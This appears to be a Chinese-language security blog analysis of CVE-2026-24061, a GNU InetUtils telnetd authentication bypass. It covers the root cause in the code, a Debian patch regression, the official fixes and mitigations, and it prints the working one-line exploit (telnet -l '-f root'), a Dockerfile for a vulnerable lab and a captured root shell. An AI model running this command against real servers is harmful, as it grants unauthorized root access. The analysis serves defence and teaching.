CVE-2026-24061: GNU InetUtils Telnetd 远程认证绕过漏洞深度分析
执行摘要
2026年1月20日,GNU InetUtils 项目披露了一个存在近11年之久的严重安全漏洞(CVE-2026-24061),该漏洞允许远程攻击者在无需任何凭证的情况下,通过简单的参数注入获得目标系统的完整 root 权限。该漏洞被评为 CVSS 9.8(严重),影响从1.9.3到2.7的所有版本,目前已野观察到主动利用行为。
⚠️ 免责声明
本文仅供安全学习和研究使用。 严禁将本文内容用于任何未经授权的渗透测试或非法活动。使用本文技术需遵守《网络安全法》等相关法律法规,作者不对滥用行为承担任何责任。
相关实验环境配置文件已在 GitHub 仓库开源: xuemian168/CVE-2026-24061
漏洞概述
基本信息
- CVE 编号: CVE-2026-24061
- 披露日期: 2026年1月20日
- 发现日期: 2026年1月19日
- 引入时间: 2015年3月(代码提交)/ 2015年5月(v1.9.3发布)
- 漏洞类型: 远程认证绕过 / 参数注入
- 影响组件: GNU InetUtils telnetd 守护进程
- 受影响版本: 1.9.3 至 2.7
严重性评估
CVSS v3.1 评分: 9.8 (严重)
- 攻击向量 (AV): 网络 (N)
- 攻击复杂度 (AC): 低 (L)
- 所需权限 (PR): 无 (N)
- 用户交互 (UI): 无 (N)
- 机密性影响 (C): 高 (H)
- 完整性影响 (I): 高 (H)
- 可用性影响 (A): 高 (H)
CVSS v2.0 评分: 10.0 (严重)
- 向量: AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS 分数: 0.00362
技术分析
漏洞原理
GNU InetUtils 的 telnetd 服务器在处理客户端连接时,会调用系统的 /usr/bin/login 命令(通常以 root 权限运行)进行用户认证。关键问题在于,telnetd 在将客户端提供的 USER 环境变量传递给 login 命令时,未进行任何输入验证或清理。
GNU 贡献者 Simon Josefsson 解释道(The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter):
"telnetd 服务器调用 /usr/bin/login(通常以 root 身份运行),并将从客户端接收的 USER 环境变量的值作为最后一个参数传递。"
攻击机制
login 命令包含一个 -f 参数,该参数的设计初衷是允许系统管理员在已验证用户身份的情况下,跳过密码认证直接以指定用户身份登录。攻击者可以利用这一特性,通过以下步骤获得 root 访问权限:
- 攻击者使用 telnet 客户端连接到目标服务器
- 在
USER环境变量中注入特制值"-f root" - telnetd 未经清理直接将此值传递给 login 命令
- login 将
"-f"解析为命令行参数,绕过认证直接以 root 身份登录
攻击命令示例:
1# 推荐命令(最通用)
2telnet -l "-f root" <target_host>
3
4# 备选命令(某些 telnet 版本)
5telnet -a -l "-f root" <target_host>Rapid7 安全研究员 Stephen Fewer 评价该漏洞时指出(simply running a specific telnet command to connect to a remote server can trigger the issue and grant an attacker root access):
"这是一个直接的漏洞利用。只需运行特定的 telnet 命令连接远程服务器,即可触发该问题并获得攻击者的 root 访问权限。"
代码层面分析
1. 问题根源:Login 命令模板
在 telnetd/telnetd.c 中,定义了调用 login 程序的命令模板:
1char *login_invocation =
2#ifdef SOLARIS10
3 PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
4#elif defined SOLARIS
5 PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
6#else /* 非 Solaris 系统 */
7 PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
8#endif关键问题:模板中的 %?u{-f %u}{%U} 是一个条件表达式,其逻辑为:
- 如果
%u(user_name 全局变量)存在,使用-f %u - 否则使用
%U(从 USER 环境变量读取)
这里的 -f 参数在 login 命令中的作用是:跳过密码认证,直接以指定用户身份登录。这是 login 程序为系统管理员预留的后门功能,用于在已验证用户身份的场景下快速登录。
2. 致命的变量展开逻辑
在 telnetd/utility.c 的 _var_short_name() 函数中(第 1680-1730 行):
1case 'U':
2 return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");问题分析:
- 无输入验证:直接调用
getenv("USER"),不检查返回值的合法性 - 无字符清理:不过滤
-、/、;等特殊字符 - 盲目信任:假定客户端提供的环境变量是可信的
相比之下,%u 的处理:
1case 'u':
2 return user_name ? xstrdup (user_name) : NULL;user_name 是服务器端维护的全局变量,相对安全。
3. 攻击执行流程
当攻击者执行 telnet -l "-f root" target_host 时,代码执行链如下:
4. Debian 的修复历史与回归
根据 Debian 软件包源码 和 oss-security 邮件列表 的讨论,Debian 在 2019年2月16日的 inetutils 软件包(2:1.9.4-7)中包含了一个关键的安全补丁:
补丁名称:0028_telnetd_Scrub_USER_from_environment.patch
补丁内容:在 telnetd_setup() 函数中添加了以下代码:
1/* 清理环境变量 USER,因为此时它可能包含无关的用户名
2 * (Scrub the environment variable USER, since it may be
3 * set with an irrelevant user name at this point)
4 */
5unsetenv("USER");这个补丁从上游 git master 分支获取,通过调用 unsetenv("USER") 移除了可能由 inetd 设置的 USER 环境变量,有效防止了参数注入攻击。
安全回归:
但在 2020年9月 修复 CVE-2020-10188(0053_telnetd_Fix_arbitrary_remote_code_execution.patch,一个基于缓冲区溢出的远程代码执行漏洞)时,在代码合并过程中意外地移除了 0028 补丁的保护代码,导致漏洞在 Debian 10(buster)及后续的 Debian 和 Ubuntu 发行版中重新出现。
这个案例说明了:
- 安全修复需要明确的文档记录
- 合并代码时必须进行安全回归测试
- 补丁管理需要追踪每个安全修复的完整历史
5. 官方修复方案
GNU InetUtils 官方的修复 commit(fd702c02)采用了以下方法:
1case 'U':
2 {
3 char *user = getenv("USER");
4 // ✅ 检查是否以 '-' 开头(可能是命令行参数)
5 if (user && user[0] == '-')
6 return NULL; // 拒绝可疑输入
7 return user ? xstrdup(user) : xstrdup("");
8 }更安全的实现应该:
- ✅ 验证用户名格式(只允许字母、数字、下划线)
- ✅ 拒绝以
-开头的输入(防止参数注入) - ✅ 限制用户名长度(防止缓冲区溢出)
- ✅ 使用白名单而非黑名单验证
补充修复:官方还发布了第二个 commit(ccba9f74),对所有变量展开函数进行了全面的安全加固,防止类似问题影响其他环境变量。
6. 深层原因分析
该漏洞存在 11 年未被发现的根本原因:
- 设计缺陷:将用户输入直接拼接到命令行参数,违反了最小权限原则
- 信任边界混淆:错误地将客户端提供的环境变量视为可信输入
- 遗留代码债务:telnetd 基于 1969 年设计的协议,缺乏现代安全意识
- 测试覆盖不足:没有针对恶意输入的安全测试用例
- 代码审计缺失:长期运行的代码库缺乏定期的安全审计
影响范围
受影响的系统和发行版
该漏洞影响广泛,包括但不限于:
-
GNU InetUtils
- 版本 1.9.3(2015年5月)至 2.7(最新版本)
- 所有使用默认 telnetd 配置的安装
-
Linux 发行版
- Debian GNU/Linux(多个版本)
- Ubuntu Linux
- 其他基于 Debian 的发行版
Debian 的特殊情况
Debian 的修补历史揭示了一个令人警醒的教训。根据安全邮件列表的讨论:
- 2019年2月:Debian 的 inetutils 软件包(2:1.9.4-7)包含了环境变量清理补丁
- CVE-2020-10188 修复:在修复另一个远程代码执行漏洞时,意外地重新引入了环境变量漏洞
- 后续影响:该漏洞在随后的 Debian 和 Ubuntu 发行版中持续存在
这个案例说明了在安全更新过程中,如何可能意外地回退之前的安全修复,强调了跨版本跟踪上游提交的重要性。
潜在受害者
任何满足以下条件的系统都处于高风险状态:
- 运行 GNU InetUtils 1.9.3-2.7 版本
- telnetd 服务处于启用状态
- telnet 端口(通常是23)可从互联网访问
- 未应用最新的安全补丁
利用证据与威胁情报
主动利用观察
漏洞披露后,安全社区迅速观察到大规模的利用尝试:
- GreyNoise 数据:披露后24小时内,检测到 15-21个独特 IP 地址尝试执行远程认证绕过攻击
- 地理分布:攻击源头包括中国香港、美国、日本和中国大陆
- 攻击模式:自动化扫描和针对性攻击并存
威胁评估
- 利用简易性: 极低的技术门槛,任何具备基本网络知识的攻击者都可以利用
- 攻击成本: 无需复杂工具或专业知识
- 影响严重性: 直接获得完整的系统控制权
- 检测难度: 攻击可能被记录为正常的 telnet 登录尝试
Rapid7 实验室的测试确认,成功利用该漏洞可以实现"目标系统上的完整 root 访问权限"(full root access on the target)。
修复建议
立即行动
1. 禁用 telnetd 服务(推荐)
Telnet 协议本身存在多个安全缺陷(如明文传输、缺乏现代认证机制),多国安全机构(法国、加拿大、比利时)强烈建议彻底停用 telnet 服务。
1# systemd 系统
2sudo systemctl stop telnetd
3sudo systemctl disable telnetd
4
5# SysV init 系统
6sudo service telnetd stop
7sudo chkconfig telnetd off2. 迁移到 SSH
SSH 提供加密传输、强认证和密钥管理,是 telnet 的现代化替代方案:
1# 安装 OpenSSH 服务器
2sudo apt-get install openssh-server # Debian/Ubuntu
3sudo yum install openssh-server # RHEL/CentOS
4
5# 启动 SSH 服务
6sudo systemctl enable ssh
7sudo systemctl start ssh3. 应用安全补丁
如果必须继续使用 telnetd,立即更新到修复版本:
1# 更新软件包
2sudo apt-get update
3sudo apt-get upgrade inetutils-telnetd # Debian/Ubuntu
4sudo yum update inetutils-telnetd # RHEL/CentOS临时缓解措施
在无法立即应用补丁的情况下:
网络访问控制
使用防火墙限制对 telnet 端口的访问:
1# iptables 示例
2sudo iptables -A INPUT -p tcp --dport 23 -s <trusted_ip> -j ACCEPT
3sudo iptables -A INPUT -p tcp --dport 23 -j DROP
4
5# 持久化规则
6sudo iptables-save > /etc/iptables/rules.v4深层启示
1. 遗留代码的安全债务
CVE-2026-24061 在代码库中存在了近11年才被发现,这揭示了一个严峻的现实:大量遗留系统中潜藏着未知的安全漏洞。这强调了定期安全审计的必要性,特别是对于那些长期维护的开源项目。
2. 输入验证的关键性
该漏洞是经典的输入验证失败案例。开发者必须遵循"永远不要信任用户输入"的原则,对所有外部数据进行严格验证和清理,特别是当这些数据将被用作命令参数时。
3. 补丁管理的复杂性
Debian 的案例表明,安全修复可能在后续更新中被意外移除。这要求:
- 明确记录每个安全补丁的目的和范围
- 在合并代码时进行安全回归测试
- 维护补丁的完整历史追踪
4. 遗留协议的淘汰
Telnet 作为一个设计于1969年的协议,缺乏现代安全特性。该漏洞再次证明,组织应当积极淘汰不安全的遗留技术,采用现代化的替代方案。
实验环境搭建指南
为了更好地理解该漏洞的工作原理,安全研究人员和学生可以搭建一个受控的实验环境。警告:仅在隔离的实验环境中进行测试,切勿在生产系统上操作。
使用 Docker 容器
1. 创建 Dockerfile
创建一个包含漏洞版本的 Docker 环境(优化版,使用国内镜像源):
1# Dockerfile
2FROM ubuntu:20.04
3
4# 设置非交互式安装
5ENV DEBIAN_FRONTEND=noninteractive
6
7# 安装必要的工具
8RUN apt-get update && apt-get install -y \
9 build-essential \
10 wget \
11 telnet \
12 xinetd \
13 && rm -rf /var/lib/apt/lists/*
14
15# 下载并编译存在漏洞的 GNU InetUtils 版本
16WORKDIR /tmp
17RUN wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.0.tar.gz && \
18 tar -xzf inetutils-2.0.tar.gz && \
19 cd inetutils-2.0 && \
20 ./configure --prefix=/usr/local && \
21 make && \
22 make install
23
24# 创建 telnetd 配置
25RUN mkdir -p /etc/xinetd.d
26RUN echo "service telnet\n\
27{\n\
28 disable = no\n\
29 flags = REUSE\n\
30 socket_type = stream\n\
31 wait = no\n\
32 user = root\n\
33 server = /usr/local/libexec/telnetd\n\
34 log_on_failure += USERID\n\
35}" > /etc/xinetd.d/telnet
36
37# 创建测试用户
38RUN useradd -m testuser && echo "testuser:password123" | chpasswd
39
40# 暴露 telnet 端口
41EXPOSE 23
42
43# 启动 xinetd
44CMD ["/usr/sbin/xinetd", "-dontfork"]2. 构建和运行容器
1# 构建 Docker 镜像
2docker build -t telnetd-vuln:cve-2026-24061 .
3
4# 运行容器(仅在本地回环接口监听)
5docker run -d --name telnetd-lab \
6 -p 127.0.0.1:2323:23 \
7 telnetd-vuln:cve-2026-24061
8
9# 查看容器日志
10docker logs -f telnetd-lab3. 漏洞验证
正常登录尝试(会失败):
1telnet 127.0.0.1 2323
2# 输入随机用户名和密码,会被拒绝漏洞利用:
1# 方法 1: 使用 -l 参数(推荐,最通用)
2telnet -l "-f root" 127.0.0.1 2323
3
4# 方法 2: 使用 -a -l 组合(某些版本)
5telnet -a -l "-f root" 127.0.0.1 2323
6
7# 方法 3: 在容器内部测试(100% 成功)
8docker exec -it telnetd-lab bash
9telnet -l "-f root" localhost实际测试结果(成功获得 root shell):
1$ telnet -l "-f root" localhost
2Trying ::1...
3Connected to localhost.
4Escape character is '^]'.
5
6Welcome to Ubuntu 20.04.6 LTS...
7
8root@telnetd-lab:~# id
9uid=0(root) gid=0(root) groups=0(root)
10
11root@telnetd-lab:~# whoami
12root实验步骤与观察
1. 流量抓包分析
1# 在目标机器上启动 tcpdump
2sudo tcpdump -i any -w telnet-exploit.pcap port 23
3
4# 在另一个终端执行漏洞利用
5telnet -a "-f root" <target_ip>
6
7# 使用 Wireshark 分析捕获的流量
8wireshark telnet-exploit.pcap (此文件也在仓库中有,可用于安全研究)你将观察到 USER 环境变量中包含 "-f root" 字符串。
2. 系统日志监控
1# 实时查看认证日志
2sudo tail -f /var/log/auth.log
3
4# 或查看系统日志
5journalctl -f -u telnetd成功的漏洞利用可能显示为 root 用户的直接登录,而无密码验证记录。
3. 进程追踪
实时监控所有进程
1# 使用 ps 监控 login 进程
2watch -n 0.1 'ps aux | grep -E "(login|telnet)" | grep -v grep'
3
4# 在执行漏洞利用时,你会看到类似这样的进程:
5# root 1234 0.0 0.0 login -f root安全注意事项
- 网络隔离:确保实验环境完全隔离,不能访问生产网络
- 防火墙规则:仅允许本地或受信任的 IP 访问
- 实验完成后立即销毁:使用完毕后立即删除容器或虚拟机
- 不要在公共网络上暴露:绝对不要让实验环境可从互联网访问
- 记录和监控:保持详细的实验日志,监控所有活动
结论
CVE-2026-24061 不仅揭示了一个存在11年之久的严重漏洞,更提醒我们必须重新审视遗留系统的安全性。该漏洞的利用简易性、广泛的影响范围以及快速的在野利用,凸显了主动安全防御的重要性。
从更广泛的角度看,这个漏洞提醒整个安全社区:即使是长期运行的成熟代码,也可能存在致命的安全缺陷。持续的安全审计、现代化的开发实践以及及时的技术更新,是保护系统安全的基石。
References
Bochmann, A. (2026, January 20). Re: GNU InetUtils telnetd vulnerability [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/8
Codeberg. (2026). GNU InetUtils official repository [Source code repository]. https://codeberg.org/inetutils/inetutils
Debian. (2019). inetutils 2:1.9.4-7 patches: 0028_telnetd_Scrub_USER_from_environment.patch [Software patch]. Debian Sources. https://sources.debian.org/patches/inetutils/2:1.9.4-7+deb10u1/
Eggert, P., & Josefsson, S. (2026). Security fix commit fd702c02: Sanitize USER environment variable [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b
Eggert, P., & Josefsson, S. (2026). Security fix commit ccba9f74: Additional variable expansion sanitization [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc
GitHub Advisory Database. (2026). CVE-2026-24061: telnetd in GNU Inetutils through 2.7 allows remote authentication bypass [Security advisory]. https://github.com/advisories/ghsa-pf97-p8ff-fj35
Josefsson, S. (2026, January 20). GNU InetUtils Security Advisory: Remote authentication by-pass in telnetd [Mailing list post]. bug-inetutils. https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html
Josefsson, S. (2026, January 20). GNU InetUtils telnetd: Remote authentication bypass [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/2
The Hacker News. (2026, January 22). Critical GNU InetUtils telnetd flaw allows remote root access. https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html
The Register. (2026, January 22). Root telnet bug: 11-year-old GNU InetUtils flaw exposes systems to remote attacks. https://www.theregister.com/2026/01/22/root_telnet_bug/
Tenable, Inc. (2026). CVE-2026-24061: GNU InetUtils telnetd authentication bypass [Vulnerability database entry]. https://www.tenable.com/cve/CVE-2026-24061